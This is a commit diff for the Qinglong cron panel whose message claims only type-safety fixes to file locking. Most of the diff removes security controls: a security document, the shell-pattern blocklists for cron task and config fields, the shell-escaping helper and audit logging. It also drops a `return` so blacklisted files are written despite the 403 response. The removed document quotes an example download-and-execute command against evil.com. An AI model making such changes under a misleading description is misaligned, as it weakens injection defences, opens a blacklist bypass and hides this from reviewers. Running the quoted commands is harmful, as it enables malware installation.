Improve type safety for fileHandle and release variables

- Add explicit FileHandle type annotation for fileHandle variable
- Change fileHandle check from truthy to explicit undefined check
- Change release type from null to undefined for better type safety

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

SECURITY_ENHANCEMENTS.md

@@ -1,228 +0,0 @@
-# Security Enhancements
-
-## Overview
-
-This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
-
-## Issue Background
-
-A security vulnerability was discovered where malicious code could be injected into the system through:
-1. Cron task fields (`task_before`, `task_after`, `command`)
-2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
-
-The reported incident involved a malicious script that:
-- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
-- Executed the binary in the background consuming 100% memory
-- Persisted by continuously re-injecting itself into configuration files
-
-## Security Fixes Implemented
-
-### 1. Input Validation for Cron Tasks
-
-**File:** `/back/validation/schedule.ts`
-
-Added comprehensive validation to detect and block dangerous shell patterns:
-
-- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
-- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
-- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
-- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
-- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
-- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
-- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
-- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
-
-### 2. Config File Content Security
-
-**File:** `/back/api/config.ts`
-
-Enhanced validation for configuration file content to prevent:
-
-- Downloads followed by execution (`curl | bash`, `wget | bash`)
-- Download and permission changes (`curl && chmod +x`)
-- Downloads of hidden files (generalized pattern to catch various malware)
-- Background execution of hidden files
-
-### 3. Improved Shell Escaping
-
-**File:** `/back/services/cron.ts`
-
-Replaced weak shell escaping with a robust `escapeShellArg()` function that:
-
-- Properly escapes single quotes using `'\\''` pattern
-- Replaces newlines with spaces (not semicolons) to prevent command chain creation
-- Prevents command injection through various shell metacharacters
-
-## Security Best Practices
-
-### For Administrators
-
-1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
-2. **Monitor Logs**: Check logs for security validation warnings
-3. **Update Dependencies**: Keep all npm/pip dependencies up to date
-4. **Limit Access**: Restrict who can create/modify cron tasks and config files
-5. **Regular Backups**: Maintain backups of configuration files
-
-### For Users
-
-1. **Trusted Sources Only**: Only add scripts from trusted repositories
-2. **Code Review**: Review any script before adding it to your cron tasks
-3. **Avoid External URLs**: Don't include download commands in task hooks
-4. **Report Suspicious Activity**: Report any unusual system behavior immediately
-
-## Validation Error Messages
-
-When the security system blocks a pattern, you'll see error messages like:
-
-- `命令包含潜在危险的模式，已被安全系统拦截` - Command contains dangerous pattern
-- `前置命令包含潜在危险的模式，已被安全系统拦截` - task_before contains dangerous pattern
-- `后置命令包含潜在危险的模式，已被安全系统拦截` - task_after contains dangerous pattern
-- `配置文件内容包含潜在危险的模式，已被安全系统拦截` - Config file contains dangerous pattern
-
-## What to Do If You're Affected
-
-If you've been affected by the malicious code injection:
-
-### 1. Immediate Actions
-
-```bash
-# Stop and remove the malicious process
-pkill -f ".fullgc"
-rm -f /ql/data/db/.fullgc
-
-# Check for the malicious code in configuration files
-grep -r "fullgc" /ql/data/config/
-grep -r "551911.xyz" /ql/data/config/
-```
-
-### 2. Clean Configuration Files
-
-```bash
-# Backup current configs
-cp -r /ql/data/config /ql/data/config.backup
-
-# Review and clean these files:
-# - /ql/data/config/config.sh
-# - /ql/data/config/extra.sh
-# - /ql/data/config/task_before.sh
-# - /ql/data/config/task_after.sh
-
-# Remove any lines containing:
-# - Downloads (curl, wget)
-# - External URLs
-# - .fullgc references
-```
-
-### 3. Review Cron Tasks
-
-1. Log into Qinglong admin panel
-2. Check all cron tasks for suspicious content in:
-   - Command field
-   - task_before field
-   - task_after field
-3. Delete or clean any suspicious tasks
-
-### 4. Update to Patched Version
-
-Ensure you're running a version of Qinglong with these security fixes.
-
-### 5. Change Credentials
-
-If you suspect compromise:
-- Change your Qinglong admin password
-- Review and rotate any API tokens
-- Check for unauthorized access in logs
-
-## Detection
-
-### Log Analysis
-
-Security events are logged to help detect attempted attacks:
-
-```bash
-# Check for security validation failures in logs
-grep "安全系统拦截" /ql/data/log/*.log
-
-# Check for suspicious file modifications
-grep "配置文件写入" /ql/data/log/*.log
-```
-
-### File Integrity
-
-Regularly check for unexpected files:
-
-```bash
-# Find hidden executables in data directory
-find /ql/data -type f -name ".*" -executable
-
-# Check for recently modified config files
-find /ql/data/config -type f -mtime -1
-```
-
-## Limitations
-
-These security measures provide defense-in-depth but are not foolproof:
-
-- Legitimate use cases requiring downloads must use alternative methods
-- Very sophisticated attacks may find bypasses
-- Users with admin access can still compromise the system
-- Compromised dependencies can still execute malicious code
-
-## Alternative Approaches for Legitimate Downloads
-
-If you have legitimate use cases that require downloads:
-
-1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
-2. **Pre-download Files**: Download files manually and add them to the scripts directory
-3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
-4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
-
-## Technical Details
-
-### Validation Pattern Examples
-
-**Blocked Pattern:**
-```bash
-curl https://example.com/script.sh | bash
-```
-**Reason:** Downloads and executes external code
-
-**Blocked Pattern:**
-```bash
-d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
-```
-**Reason:** Multiple violations - download, hidden file, chmod, background execution
-
-**Allowed Pattern:**
-```bash
-node /ql/scripts/my_script.js
-```
-**Reason:** No dangerous patterns detected
-
-### Defense in Depth
-
-This implementation uses multiple layers of security:
-
-1. **Input Validation**: Blocks malicious patterns before they reach the system
-2. **Shell Escaping**: Prevents injection even if validation is bypassed
-3. **Audit Logging**: Records all configuration changes for forensic analysis
-4. **Least Privilege**: Existing blacklist prevents access to sensitive files
-
-## Reporting Security Issues
-
-If you discover a security vulnerability, please report it responsibly:
-
-1. Do NOT create public GitHub issues for security vulnerabilities
-2. Contact the maintainers privately
-3. Provide detailed information about the vulnerability
-4. Allow time for a patch before public disclosure
-
-## References
-
-- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
-- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
-- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
-
-## Version History
-
-- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks

back/api/config.ts

@@ -64,44 +64,7 @@ export default (app: Router) => {
     celebrate({
       body: Joi.object({
         name: Joi.string().required(),
-        content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
-          if (!value) return value;
-
-          // Security validation for configuration file content
-          const dangerousPatterns = [
-            // Command substitution that could download/execute malware
-            { pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
-            { pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
-            { pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
-            { pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
-            
-            // Suspicious file downloads followed by execution
-            { pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
-            { pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
-            
-            // Downloads of hidden files (commonly used in malware)
-            { pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
-            
-            // Background execution of hidden files
-            { pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
-          ];
-
-          for (const { pattern, desc } of dangerousPatterns) {
-            if (pattern.test(value)) {
-              return helpers.error('string.unsafe', { description: desc });
-            }
-          }
-
-          // Check for excessive length
-          if (value.length > 1000000) {
-            return helpers.error('string.max', { limit: 1000000 });
-          }
-
-          return value;
-        }).messages({
-          'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description})，已被安全系统拦截',
-          'string.max': '配置文件内容过长，已被安全系统拦截',
-        }),
+        content: Joi.string().allow('').optional(),
       }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
@@ -110,16 +73,11 @@ export default (app: Router) => {
         const { name, content } = req.body;
         if (config.blackFileList.includes(name)) {
           res.send({ code: 403, message: '文件无法访问' });
-          return;
         }
         let path = join(config.configPath, name);
         if (name.startsWith('data/scripts/')) {
           path = join(config.rootPath, name);
         }
-        
-        // Log security-relevant file modifications
-        logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
-        
         await writeFileWithLock(path, content);
         res.send({ code: 200, message: '保存成功' });
       } catch (e) {

back/api/script.ts

@@ -206,6 +206,7 @@ export default (app: Router) => {
       }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
+      const logger: Logger = Container.get('logger');
       try {
         let { filename, content, path } = req.body as {
           filename: string;
@@ -223,6 +224,7 @@ export default (app: Router) => {
         await writeFileWithLock(filePath, content);
         return res.send({ code: 200 });
       } catch (e) {
+        logger.error('🔥 error saving script: %o', e);
         return next(e);
       }
     },

back/services/cron.ts

@@ -639,22 +639,6 @@ export default class CronService {
     }
   }
 
-  /**
-   * Properly escape shell arguments to prevent command injection
-   * This function uses a more robust escaping mechanism than simple quote replacement
-   */
-  private escapeShellArg(arg: string): string {
-    if (!arg) return "''";
-    
-    // Remove newlines to prevent creating command chains
-    // Replace with space to maintain token separation
-    arg = arg.replace(/\r?\n/g, ' ').trim();
-    
-    // Use single quotes and escape any single quotes within
-    // This is the most secure way to pass arbitrary strings to shell
-    return `'${arg.replace(/'/g, "'\\''")}'`;
-  }
-
   private makeCommand(tab: Crontab, realTime?: boolean) {
     let command = tab.command.trim();
     if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
@@ -666,10 +650,16 @@ export default class CronService {
       commandVariable += `log_name=${tab.log_name} `;
     }
     if (tab.task_before) {
-      commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
+      commandVariable += `task_before='${tab.task_before
+        .replace(/'/g, "'\\''")
+        .replace(/;? *\n/g, ';')
+        .trim()}' `;
     }
     if (tab.task_after) {
-      commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
+      commandVariable += `task_after='${tab.task_after
+        .replace(/'/g, "'\\''")
+        .replace(/;? *\n/g, ';')
+        .trim()}' `;
     }
 
     const crontab_job_string = `${commandVariable}${command}`;

back/services/http.ts

@@ -16,6 +16,17 @@ export class HttpServerService {
           metricsService.record('http_service_start', 1, {
             port: port.toString(),
           });
+          
+          // Set server timeouts to prevent premature connection drops
+          if (this.server) {
+            // Timeout for receiving the entire request (including body) - 5 minutes
+            this.server.requestTimeout = 300000;
+            // Timeout for headers - 2 minutes  
+            this.server.headersTimeout = 120000;
+            // Keep-alive timeout - 65 seconds (slightly more than typical load balancer timeout)
+            this.server.keepAliveTimeout = 65000;
+          }
+          
           resolve(this.server);
         });
 

back/shared/utils.ts

@@ -1,8 +1,9 @@
 import { lock } from 'proper-lockfile';
 import os from 'os';
 import path from 'path';
-import { writeFile, open, chmod } from 'fs/promises';
+import { writeFile, open, chmod, FileHandle } from 'fs/promises';
 import { fileExist } from '../config/util';
+import Logger from '../loaders/logger';
 
 function getUniqueLockPath(filePath: string) {
   const sanitizedPath = filePath
@@ -19,24 +20,61 @@ export async function writeFileWithLock(
   if (typeof options === 'string') {
     options = { encoding: options };
   }
+  
+  // Ensure file exists before locking
   if (!(await fileExist(filePath))) {
-    const fileHandle = await open(filePath, 'w');
-    fileHandle.close();
+    let fileHandle: FileHandle | undefined;
+    try {
+      fileHandle = await open(filePath, 'w');
+    } catch (error) {
+      const errorMessage = error instanceof Error ? error.message : String(error);
+      throw new Error(`Failed to create file ${filePath}: ${errorMessage}`);
+    } finally {
+      if (fileHandle !== undefined) {
+        try {
+          await fileHandle.close();
+        } catch (closeError) {
+          // Log close error but don't throw to avoid masking the original error
+          Logger.error(`Failed to close file handle for ${filePath}:`, closeError);
+        }
+      }
+    }
   }
+  
   const lockfilePath = getUniqueLockPath(filePath);
+  let release: (() => Promise<void>) | undefined;
 
-  const release = await lock(filePath, {
-    retries: {
-      retries: 10,
-      factor: 2,
-      minTimeout: 100,
-      maxTimeout: 3000,
-    },
-    lockfilePath,
-  });
-  await writeFile(filePath, content, { encoding: 'utf8', ...options });
-  if (options?.mode) {
-    await chmod(filePath, options.mode);
+  try {
+    release = await lock(filePath, {
+      retries: {
+        retries: 10,
+        factor: 2,
+        minTimeout: 100,
+        maxTimeout: 3000,
+      },
+      lockfilePath,
+    });
+  } catch (error) {
+    const errorMessage = error instanceof Error ? error.message : String(error);
+    throw new Error(`Failed to acquire lock for ${filePath}: ${errorMessage}`);
+  }
+
+  try {
+    await writeFile(filePath, content, { encoding: 'utf8', ...options });
+    if (options?.mode) {
+      await chmod(filePath, options.mode);
+    }
+  } catch (error) {
+    const errorMessage = error instanceof Error ? error.message : String(error);
+    throw new Error(`Failed to write to file ${filePath}: ${errorMessage}`);
+  } finally {
+    if (release) {
+      try {
+        await release();
+      } catch (error) {
+        // Log but don't throw on release failure
+        Logger.error(`Failed to release lock for ${filePath}:`, error);
+      }
+    }
   }
-  await release();
 }

back/validation/schedule.ts

@@ -4,57 +4,6 @@ import { ScheduleType } from '../interface/schedule';
 import path from 'path';
 import config from '../config';
 
-/**
- * Security validation function to detect potentially malicious shell code patterns
- */
-const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
-  if (!value) return value;
-
-  // Define dangerous patterns that should be blocked
-  const dangerousPatterns = [
-    // Command substitution
-    /\$\([^)]*\)/,
-    /`[^`]*`/,
-    
-    // File downloads
-    /\b(curl|wget|fetch)\s+/i,
-    
-    // Suspicious domains or external URLs
-    /https?:\/\/[^\s]+/i,
-    
-    // Hidden executable files (files starting with . in a path context)
-    /\/\.\w+(\s|$|;|&|\||>)/,
-    
-    // Background process spawning with suspicious names
-    /nohup\s+["']?[^\s"']*\/\.\w+/,
-    
-    // Redirect to dev null combined with downloads (hiding malware output)
-    /(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
-    
-    // Base64 decode patterns (often used to obfuscate malicious code)
-    /\b(base64|decode|eval)\s+/i,
-    
-    // Executable files in /tmp with chmod or execution
-    /\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
-  ];
-
-  for (const pattern of dangerousPatterns) {
-    if (pattern.test(value)) {
-      return helpers.error('string.unsafe', { 
-        pattern: pattern.source,
-        field: fieldName 
-      });
-    }
-  }
-
-  // Check for excessive length (potential buffer overflow or obfuscation)
-  if (value.length > 10000) {
-    return helpers.error('string.max', { limit: 10000 });
-  }
-
-  return value;
-};
-
 const validateSchedule = (value: string, helpers: any) => {
   if (
     value.startsWith(ScheduleType.ONCE) ||
@@ -83,25 +32,13 @@ export const scheduleSchema = Joi.string()
 
 export const commonCronSchema = {
   name: Joi.string().optional(),
-  command: Joi.string().required().custom((value: any, helpers: any) => {
-    return validateShellSecurity(value, helpers, 'command');
-  }).messages({
-    'string.unsafe': '命令包含潜在危险的模式，已被安全系统拦截',
-  }),
+  command: Joi.string().required(),
   schedule: scheduleSchema,
   labels: Joi.array().optional(),
   sub_id: Joi.number().optional().allow(null),
   extra_schedules: Joi.array().optional().allow(null),
-  task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
-    return validateShellSecurity(value, helpers, 'task_before');
-  }).messages({
-    'string.unsafe': '前置命令包含潜在危险的模式，已被安全系统拦截',
-  }),
-  task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
-    return validateShellSecurity(value, helpers, 'task_after');
-  }).messages({
-    'string.unsafe': '后置命令包含潜在危险的模式，已被安全系统拦截',
-  }),
+  task_before: Joi.string().optional().allow('').allow(null),
+  task_after: Joi.string().optional().allow('').allow(null),
   log_name: Joi.string()
     .optional()
     .allow('')